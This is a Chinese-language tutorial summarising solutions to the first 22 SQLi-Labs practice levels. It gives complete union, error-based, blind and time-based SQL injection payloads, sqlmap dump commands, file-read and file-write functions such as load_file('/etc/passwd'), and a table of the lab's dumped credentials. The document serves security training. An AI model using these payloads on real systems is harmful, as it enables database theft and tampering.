SQLi-Labs前22关通关总结
SQLi-Labs 前 22 关通关总结
本文档总结了 sqli-labs 前 22 关的注入原理、核心技巧和常见坑点。
适合有一定基础但还在入门阶段的 SQL 注入学习者阅读。
目录
一、SQL 注入到底是什么?
一句话解释
用户输入的数据,被直接拼进了 SQL 语句里,导致攻击者能改变 SQL 的执行逻辑。
用生活例子理解
想象你去酒店前台,服务员问你要住几号房。正常对话:
你:我要住 8 号房
服务员:(查系统)8 号房是空的,给您办理入住
但如果你说了一句"特殊"的话:
你:8 号房,顺便把所有房间的客人信息打印给我
服务员:(系统把这句话当指令执行了)好的,这是所有客人信息...
这就是 SQL 注入——输入的不只是"数据",而是被当成了"命令"来执行。
代码层面看
有漏洞的代码(后端 PHP):
$id = $_GET['id']; // 从 URL 获取用户输入
$sql = "SELECT * FROM users WHERE id='$id'"; // 直接拼接进 SQL
$result = mysql_query($sql); // 执行
正常访问 ?id=1 时,SQL 是:
SELECT * FROM users WHERE id='1' -- 查 id=1 的用户,没问题
恶意访问 ?id=1' OR 1=1 -- 时,SQL 变成:
SELECT * FROM users WHERE id='1' OR 1=1 -- ' -- OR 1=1 永远为真,返回所有用户!
安全的代码(参数化查询):
$sql = "SELECT * FROM users WHERE id=?"; // 用 ? 占位
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]); // 参数只当数据处理,不当命令
参数化查询把"数据"和"命令"彻底分开,输入再怎么写都只是数据,不会被当成 SQL 执行。
二、注入前必须搞懂的三件事
1. 闭合方式——注入的"钥匙"
后端 SQL 里参数通常被引号包裹,你要先"打破"这个包裹,才能插入自己的代码。
后端 SQL: WHERE id='$id' → 参数被单引号包裹
后端 SQL: WHERE id=($id) → 参数被括号包裹(数字型,无引号)
后端 SQL: WHERE id=('$id') → 单引号+括号
后端 SQL: WHERE id=("$id") → 双引号+括号
怎么判断闭合方式?看报错信息!
| 你输入 | 报错信息里出现 | 判断 | 闭合方式 |
|---|---|---|---|
1' |
near ''1'' |
参数被 ' 包裹 |
' |
1' |
near ''1'') |
参数被 ('') 包裹 |
') |
1" |
near '"1"" |
参数被 " 包裹 |
" |
1" |
near '"1") |
参数被 ("") 包裹 |
") |
1' |
不报错 | 没有引号包裹 | 无(数字型) |
闭合后怎么注释掉后面的内容?
--+ → MySQL 注释(-- 后面必须有空格,用 + 代替空格最省事)
# → MySQL 注释(URL 中要编码成 %23)
/**/ → 内联注释
⚠️ 坑:
--后面必须有空格才生效!--后面直接跟字符不会被当成注释。
用--+最省事,不用纠结空格问题。
2. 列数——union 注入的"门槛"
UNION SELECT 要求前后两个查询的列数必须一致。你得先搞清楚原始查询有几列。
方法:ORDER BY 递增
?mid=1 ORDER BY 1 --+ → 正常(至少1列)
?mid=1 ORDER BY 2 --+ → 正常(至少2列)
?mid=1 ORDER BY 3 --+ → 正常(至少3列)
?mid=1 ORDER BY 4 --+ → 报错!说明只有3列
3. 回显位——数据显示在哪里
知道列数后,用 UNION SELECT 确认哪些列的数据会显示在页面上:
?id=-1' UNION SELECT 1,2,3 --+
页面显示 Login name: 2 Password: 3 → 第 2 列和第 3 列是回显位。
用
id=-1(不存在的 ID)是为了让原始查询返回空,这样页面只显示 union 的数据。
三、四大注入方式详解
方式一:Union 联合查询注入(最简单,最快)
适用条件:页面会显示查询结果(有回显位)
原理:用 UNION SELECT 拼接一个自己的查询,把数据"挂"在页面的回显位上。
通俗比喻:就像在快递包裹上贴了个假标签,把自己的包裹混进了正常配送流程。
完整流程:
-- 第1步:探列数
?id=-1' UNION SELECT 1,2,3 --+
-- 第2步:爆库名
?id=-1' UNION SELECT 1,database(),3 --+
-- 第3步:爆表名(information_schema 是 MySQL 自带的信息库)
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
-- 0x7365637572697479 是 'security' 的十六进制,绕过引号
-- 第4步:爆字段名
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=0x7573657273 --+
-- 第5步:dump 数据
?id=-1' UNION SELECT 1,group_concat(username,0x7e,password),3 FROM users --+
常用函数:
database()→ 当前数据库名version()→ 数据库版本current_user()→ 当前用户group_concat(x)→ 把多行结果拼成一行显示(绕过只显示一条的限制)0x7e→ 十六进制的~,当分隔符用
方式二:报错注入(没有回显位,但有报错)
适用条件:页面没有数据显示,但会显示 SQL 报错信息
原理:故意制造一个会报错的函数调用,把要查的数据藏在报错信息里。
通俗比喻:就像故意在考试卷子上写错答案,但错误信息里偷偷写上了你要的答案。老师(数据库)批改时把错误信息念出来了,你想要的答案也就暴露了。
核心函数:
-- updatexml:第二个参数是 XPath 字符串,包含非法字符 ~ 就会报错
-- concat(0x7e, 你要的数据) 把数据拼进报错里
updatexml(1, concat(0x7e, database()), 1)
→ XPATH syntax error: '~security'
报错信息:XPATH syntax error: '~security'
↑ 数据被带出来了!
payload 模板:
-- 爆库名
?id=1' AND updatexml(1,concat(0x7e,database()),1) --+
-- 爆表名
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479)),1) --+
-- dump 数据
?id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,0x7e,password) FROM users)),1) --+
⚠️ 坑:updatexml 报错最多只返回 32 个字符!数据长了要用
substring()分段:substring((SELECT ... FROM users), 1, 32) -- 取第1~32字符 substring((SELECT ... FROM users), 32, 32) -- 取第32~63字符
方式三:布尔盲注(无回显,无报错,但有真假差异)
适用条件:页面不显示数据也不显示报错,但"条件为真"和"条件为假"时页面不同
原理:构造真/假条件,根据页面变化判断真假,一次猜一个字符。
通俗比喻:玩"猜数字"游戏。你问"比 5 大吗?",对方只回答是或不是。靠多次提问最终猜出答案。
判断方法:
?id=1' AND 1=1 --+ → 页面正常显示(条件为真)
?id=1' AND 1=2 --+ → 页面异常/空白(条件为假)
两个页面有差异 → 可以布尔盲注。
逐字符提取数据:
-- 判断库名长度
?id=1' AND length(database())=8 --+ → 页面正常 → 库名8个字符
-- 逐字符猜库名(二分法加速)
?id=1' AND ascii(substr(database(),1,1))>115 --+ → 真 → 第1个字符的ascii>115
?id=1' AND ascii(substr(database(),1,1))>120 --+ → 假 → 在115~120之间
-- 最终确定 ascii=115 → 字符 's' → 库名第1位是 s
-- 重复猜第2、3...位 → security
💡 技巧:用 二分法(ascii 值范围折半)比逐个字符遍历快约 5 倍。每个字符只需 ~7 次请求(2^7=128 覆盖 ASCII 范围),而非最多 95 次。
方式四:时间盲注(最无奈的方式)
适用条件:页面完全没有差异——不管条件真假,显示的内容一模一样
原理:用 SLEEP() 让数据库故意延迟,靠响应时间长短判断真假。
通俗比喻:你问朋友一个问题,如果答案是"是",他就沉默 5 秒再回答;如果答案是"否",立刻回答。你靠"等了多久"来判断答案。
核心 payload:
-- 条件为真 → SLEEP 5秒 → 响应慢
-- 条件为假 → 不 SLEEP → 响应快
?id=1' AND if(1=1,sleep(5),0) --+ → 响应耗时 5 秒 → 真
?id=1' AND if(1=2,sleep(5),0) --+ → 响应耗时 0 秒 → 假
⚠️ 坑:时间盲注是最慢的注入方式。每个字符要等几秒,提取完整数据可能需要几千个请求、几十分钟。能用布尔就不用时间。
四种方式的选择优先级
有回显位? → Union 联合查询(最快,首选)
↓ 没有
有报错信息? → 报错注入(较快)
↓ 没有
页面有真假差异? → 布尔盲注(较慢)
↓ 没有
完全无差异? → 时间盲注(最慢,最后手段)
四、22 关分类速查表
按传参方式分类
| 关卡 | 传参方式 | 编码 | 后端语句 | 注入点 | 闭合 | 核心方法 |
|---|---|---|---|---|---|---|
| 1 | GET | - | SELECT | id | ' |
union 回显 |
| 2 | GET | - | SELECT | id | 无 | union 回显 |
| 3 | GET | - | SELECT | id | ') |
union 回显 |
| 4 | GET | - | SELECT | id | ") |
union 回显 |
| 5 | GET | - | SELECT | id | ' |
报错注入 |
| 6 | GET | - | SELECT | id | " |
报错注入 |
| 7 | GET | - | SELECT | id | ')) |
布尔盲注 |
| 8 | GET | - | SELECT | id | ' |
布尔盲注 |
| 9 | GET | - | SELECT | id | ' |
时间盲注 |
| 10 | GET | - | SELECT | id | " |
时间盲注 |
| 11 | POST | - | SELECT | uname | ' |
union 回显 |
| 12 | POST | - | SELECT | uname | ") |
union 回显 |
| 13 | POST | - | SELECT | uname | ') |
报错注入 |
| 14 | POST | - | SELECT | uname | " |
报错注入 |
| 15 | POST | - | SELECT | uname | ' |
布尔盲注 |
| 16 | POST | - | SELECT | uname | ") |
布尔盲注 |
| 17 | POST | - | UPDATE | passwd | ' |
报错注入+嵌套子查询 |
| 18 | HTTP头 | - | INSERT | User-Agent | ' |
报错注入+嵌套子查询 |
| 19 | HTTP头 | - | INSERT | Referer | ' |
报错注入+嵌套子查询 |
| 20 | Cookie | - | SELECT | uname | ' |
union 回显 |
| 21 | Cookie | base64 | SELECT | uname | ') |
union 回显 |
| 22 | Cookie | base64 | SELECT | uname | " |
union 回显 |
按注入方式分类
| 注入方式 | 关卡 | 特征 |
|---|---|---|
| Union 联合查询 | 1,2,3,4,11,12,20,21,22 | 页面有数据显示(有回显位) |
| 报错注入 | 5,6,13,14,17,18,19 | 页面有 SQL 报错信息 |
| 布尔盲注 | 7,8,15,16 | 页面有真假差异 |
| 时间盲注 | 9,10 | 页面无任何差异,靠响应时间 |
GET 与 POST 的对应关系
前 10 关(GET)和 11~16 关(POST)原理完全一样,只是传参位置不同:
| GET 关卡 | POST 关卡 | 闭合 | 方法 |
|---|---|---|---|
| Less-1 | Less-11 | ' |
union 回显 |
| Less-4 | Less-12 | ") |
union 回显 |
| Less-5 | Less-13 | ') |
报错注入 |
| Less-6 | Less-14 | " |
报错注入 |
| Less-8 | Less-15 | ' |
布尔盲注 |
| Less-10 | Less-16 | ") |
布尔盲注 |
五、手工注入万能流程
遇到任何一个注入点,按这个流程走:
第1步:找注入点
│ 在参数后加 ' 或 " 看是否报错
│
第2步:判闭合方式
│ 看报错信息里的引号和括号
│ → 报错有 'xxx' → 闭合 '
│ → 报错有 'xxx') → 闭合 ')
│ → 报错有 "xxx" → 闭合 "
│ → 单引号不报错双引号报错 → 闭合 "
│
第3步:验证注入
│ 闭合+注释后加 and 1=1 / and 1=2
│ → 1=1 正常,1=2 异常 → 确认可注入
│
第4步:判断有无回显
│ ├─ 有回显位 → Union 联合查询(跳到第5a步)
│ ├─ 有报错 → 报错注入(跳到第5b步)
│ ├─ 有真假差异 → 布尔盲注(跳到第5c步)
│ └─ 完全无差异 → 时间盲注(跳到第5d步)
│
第5a步:Union 注入流程
│ ORDER BY 探列数 → UNION SELECT 找回显位
│ → database() 爆库名
│ → information_schema 爆表名、字段名
│ → FROM 表名 dump 数据
│
第5b步:报错注入流程
│ updatexml(1,concat(0x7e,database()),1)
│ → 子查询爆表名、字段名
│ → substring() 分段提取长数据
│
第5c步:布尔盲注流程
│ length(database())=N 判断长度
│ → ascii(substr(database(),i,1))>M 二分法猜字符
│ → 逐字符提取所有数据
│
第5d步:时间盲注流程
│ if(条件,sleep(5),0) 判断真假
│ → 和布尔盲注类似的逐字符提取,但靠时间判断
│
第6步:提权/后续利用
写文件、读文件、提权等(超出前22关范围)
六、sqlmap 实战技巧
基础命令
# GET 注入
python sqlmap.py -u "http://target/?id=1" --batch --dbms=mysql
# POST 注入
python sqlmap.py -u "http://target/login" --data="uname=admin&passwd=admin" --batch --dbms=mysql
# 指定参数注入(-p)
python sqlmap.py -u "url" --data="uname=admin&passwd=admin" -p passwd --batch
# dump 数据
python sqlmap.py -u "url" --batch -D security -T users --dump
# dump 全库
python sqlmap.py -u "url" --batch --dump-all
常用参数
| 参数 | 作用 | 什么时候用 |
|---|---|---|
--level=3 |
提高测试级别 | 双引号闭合测不出来时(默认只测单引号) |
--risk=2 |
提高风险级别 | OR 注入、HAVING 注入等 |
--technique=B |
只用布尔盲注 | 强制指定注入方式 |
--technique=E |
只用报错注入 | UPDATE/INSERT 语句 |
--string="flag.jpg" |
指定真值标志 | 布尔盲注加速(关键技巧!) |
--threads=4 |
多线程 | 加速数据提取(时间盲注不能用) |
--dbms=mysql |
指定数据库 | 跳过其他数据库测试,加速 |
-p passwd |
指定注入参数 | 指定注入哪个参数 |
--tamper=space2comment |
使用绕过脚本 | 遇到 WAF 时 |
level 参数详解
level 1(默认):测试单引号闭合,测试 GET/POST 参数
level 2 :额外测试 Cookie 注入
level 3 :额外测试双引号、括号闭合,测试 HTTP 头(User-Agent/Referer)
level 5 :全量测试
经验法则:默认 level=1 测不出来时,先加 --level=3 再试。
--string 加速布尔盲注(重要技巧)
sqlmap 默认会自己找页面真假差异,但有时差异很小(只是图片名不同),sqlmap 找不到。
# 手工找到差异后,用 --string 喂给 sqlmap
# 比如登录成功显示 flag.jpg,失败显示 slap.jpg
python sqlmap.py -u "url" --data="..." --technique=B --string="flag.jpg"
# ↑ 指定真值标志
不指定
--string:sqlmap 自己找差异 → 找不到 → 用时间盲注(慢 30 倍)
指定--string:sqlmap 直接判断 → 布尔盲注(快 30 倍)
七、22 个坑点与教训
坑 1:-- 注释后面必须有空格(Less-1~22 通用)
❌ ...1) -- → -- 后面紧跟字符,MySQL 不认注释
✅ ...1) --+ → + 在 URL 中等于空格,注释生效
✅ ...1) -- → -- 后面有空格,注释生效
✅ ...1) # → # 注释不需要空格(URL 编码 %23)
坑 2:sqlmap level=1 测不出双引号闭合(Less-4, Less-10, Less-12, Less-16, Less-22)
sqlmap 默认只测单引号。遇到双引号闭合的关卡,必须加 --level=3。
坑 3:Less-7 的 -- 注释不生效
Less-7 中 --+ 不生效,必须用 #(%23)。原因可能是后端对 -- 有特殊处理。
坑 4:updatexml 报错只返回 32 字符(Less-5, 6, 13, 14, 17, 18, 19)
-- 数据太长会被截断,必须用 substring 分段
substring((SELECT ...), 1, 32) -- 第1段
substring((SELECT ...), 32, 32) -- 第2段(重叠1字符防止漏字符)
substring((SELECT ...), 63, 32) -- 第3段
坑 5:UPDATE 语句不能直接引用正在更新的表(Less-17)
-- ❌ 报错:You can't specify target table 'users' for update in FROM clause
SELECT username FROM users -- UPDATE users 时子查询不能直接 from users
-- ✅ 绕过:嵌套一层子查询
SELECT username FROM (SELECT * FROM users) AS tmp
坑 6:UPDATE 注入会修改数据!(Less-17)
-- payload 用 # 注释掉了 WHERE 条件
UPDATE users SET password='你的payload#' WHERE username='Dumb'
↑ 被 # 注释掉了!
-- 结果:所有用户的密码都被修改了!
教训:在 UPDATE 注入中,你的 payload 同时也是 SET 的值,会修改数据库。实战中要小心。
坑 7:HTTP 头注入必须先登录(Less-18, 19)
User-Agent 和 Referer 的注入发生在登录成功后(后端在登录成功后 INSERT 这些头到数据库)。如果登录失败,注入代码不会被执行。
坑 8:布尔盲注的差异可能很小(Less-15, 16)
登录成功和失败的差异可能只是图片名不同(flag.jpg vs slap.jpg),响应长度差 46 字节。sqlmap 可能检测不到,需要用 --string="flag.jpg" 手动指定。
坑 9:时间盲注非常慢(Less-9, 10, 15, 16)
每个字符需要等几秒(SLEEP),13 条数据可能需要 30 分钟以上。能不用就不用。
坑 10:base64 编码不是保护(Less-21, 22)
# 后端先 base64 解码再拼入 SQL,攻击者只需先编码 payload
import base64
payload = "-1') UNION SELECT 1,database(),3#"
encoded = base64.b64encode(payload.encode()).decode()
# Cookie: uname=<encoded>
坑 11:单引号不报错不代表没注入(Less-2, Less-4, Less-6, Less-14)
数字型注入(无引号包裹)加单引号可能不报错。要同时测双引号和无引号。
坑 12:group_concat 绕过只显示一条的限制(通用)
-- 原始查询有 LIMIT 0,1,只显示一条
-- 用 group_concat 把多行拼成一行
SELECT group_concat(username,0x7e,password) FROM users
→ Dumb~Dumb,Angelina~I-kill-you,...
坑 13:十六进制绕过引号(通用)
-- 不能用引号时(或怕引号冲突),用十六进制代替字符串
WHERE table_schema=0x7365637572697479 -- 等价于 WHERE table_schema='security'
WHERE table_name=0x7573657273 -- 等价于 WHERE table_name='users'
坑 14:-1 让原始查询返回空(Union 注入通用)
?id=1' UNION SELECT ... → 原始查询返回 id=1 的数据,可能覆盖 union 结果
?id=-1' UNION SELECT ... → 原始查询返回空,页面只显示 union 的数据
坑 15:sqlmap 对 UPDATE/INSERT 的 dump 支持不好(Less-17, 18, 19)
sqlmap 可能返回全 NULL 或无法提取数据。这种情况需要手工报错注入。
坑 16:Less-17 的注入点在密码框而不是用户名框
用户名(uname)被 mysqli_real_escape_string 过滤了,但密码(passwd)没有。注入点在 passwd,且 uname 必须是真实存在的用户名。
坑 17:# 注释在 URL 中的编码
# 在 URL 中是片段标识符,必须编码成 %23
http://target/?id=1' # → 浏览器会截断 # 后面的内容!
http://target/?id=1' %23 → 正确,# 被编码成 %23
坑 18:Windows 下 curl 的引号转义问题
Windows 命令行中双引号和单引号的转义和 Linux 不同,容易出问题。建议用 Python 脚本发请求,避免 shell 转义。
坑 19:响应长度差异可能只差几个字节(布尔盲注通用)
and 1=1 → 1492 字节
and 1=2 → 1446 字节(差 46 字节,就是一个图片标签的差异)
不能只看"页面是否完全空白",要精确对比响应长度。
坑 20:INSERT 语句的闭合用 and '1'='1 而不是 #(Less-18, 19)
-- INSERT 语句用 # 注释掉后面的列会导致列数不匹配报错
INSERT INTO uagents VALUES ('test'#, 'ip', 'user') -- ❌ 列数不够
-- 用 and '1'='1 闭合后面的引号,保持列数正确
INSERT INTO uagents VALUES ('test' and payload and '1'='1', 'ip', 'user') -- ✅
坑 21:sqlmap --string 指定的是"真"标志(Less-15, 16)
# ❌ 错误:指定了假值标志
--string="slap.jpg"
# ✅ 正确:指定真值标志(条件为真时出现的内容)
--string="flag.jpg"
坑 22:WebFetch 自动升级 HTTPS 导致请求失败
有些工具会把 HTTP 自动升级成 HTTPS,对于只支持 HTTP 的目标会报 SSL 错误。用 curl 或 Python 直接发 HTTP 请求可以避免。
八、核心知识点速记
MySQL 注入常用函数
| 函数 | 作用 | 示例 |
|---|---|---|
database() |
当前数据库名 | database() → security |
version() |
数据库版本 | version() → 5.5.44 |
current_user() |
当前用户 | current_user() → root@localhost |
user() |
当前用户 | 同上 |
@@datadir |
数据目录路径 | /var/lib/mysql/ |
@@hostname |
主机名 | |
@@version_compile_os |
操作系统 | |
group_concat() |
多行合并成一行 | group_concat(username) |
concat() |
拼接字符串 | concat(0x7e,database()) |
substr() |
截取子串 | substr(database(),1,1) → s |
ascii() |
字符转 ASCII 码 | ascii('a') → 97 |
length() |
字符串长度 | length(database()) → 8 |
sleep() |
延迟 N 秒 | sleep(5) |
if() |
条件判断 | if(1=1,sleep(5),0) |
hex() |
转十六进制 | hex('A') → 41 |
updatexml() |
报错注入 | updatexml(1,concat(0x7e,数据),1) |
extractvalue() |
报错注入 | extractvalue(1,concat(0x7e,数据)) |
into outfile |
写文件 | into outfile '/tmp/shell.php' |
load_file() |
读文件 | load_file('/etc/passwd') |
information_schema 三张关键表
-- 1. 查所有数据库
SELECT schema_name FROM information_schema.schemata;
-- 2. 查某个库的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='库名';
-- 3. 查某个表的所有字段
SELECT column_name FROM information_schema.columns WHERE table_name='表名';
闭合方式速查
| 后端 SQL 写法 | 闭合方式 | 示例 payload |
|---|---|---|
WHERE id=$id |
无(数字型) | 1 UNION SELECT 1,2,3 --+ |
WHERE id='$id' |
' |
1' UNION SELECT 1,2,3 --+ |
WHERE id="$id" |
" |
1" UNION SELECT 1,2,3 --+ |
WHERE id=('$id') |
') |
1') UNION SELECT 1,2,3 --+ |
WHERE id=("$id") |
") |
1") UNION SELECT 1,2,3 --+ |
WHERE id=(('$id')) |
')) |
1')) UNION SELECT 1,2,3 --+ |
注释符
| 注释符 | URL 编码 | 注意事项 |
|---|---|---|
-- |
--+ 或 --%20 |
后面必须有空格 |
# |
%23 |
浏览器中 # 是片段标识符,必须编码 |
/**/ |
/**/ |
内联注释,可替代空格 |
防御措施
| 措施 | 效果 | 说明 |
|---|---|---|
| 参数化查询 | ✅ 彻底防御 | 数据和命令分离,首选方案 |
| 预编译语句 | ✅ 彻底防御 | PDO、PreparedStatement |
| 输入过滤 | ⚠️ 不彻底 | 可被绕过,不能单独依赖 |
| WAF | ⚠️ 辅助防御 | 可被绕过,作为补充手段 |
| base64 编码 | ❌ 无效 | 编码不是加密,轻松绕过 |
| 最小权限 | ✅ 降低危害 | 数据库账号不给 FILE 权限等 |
附:22 关数据 dump 结果
所有 22 关的目标数据库都是 security,users 表结构为 id, username, password,共 13 条数据:
| id | username | password |
|---|---|---|
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
注:Less-17 的 UPDATE 注入意外修改了所有用户密码,导致后续关卡提取到的密码变成了 0 或 admin。这是 UPDATE 注入的副作用,也是重要的经验教训。
最后提醒:本文档用于授权的安全学习和实验。在实际渗透测试中,必须获得目标所有者的书面授权。未经授权的 SQL 注入是违法行为。
浙公网安备 33010602011771号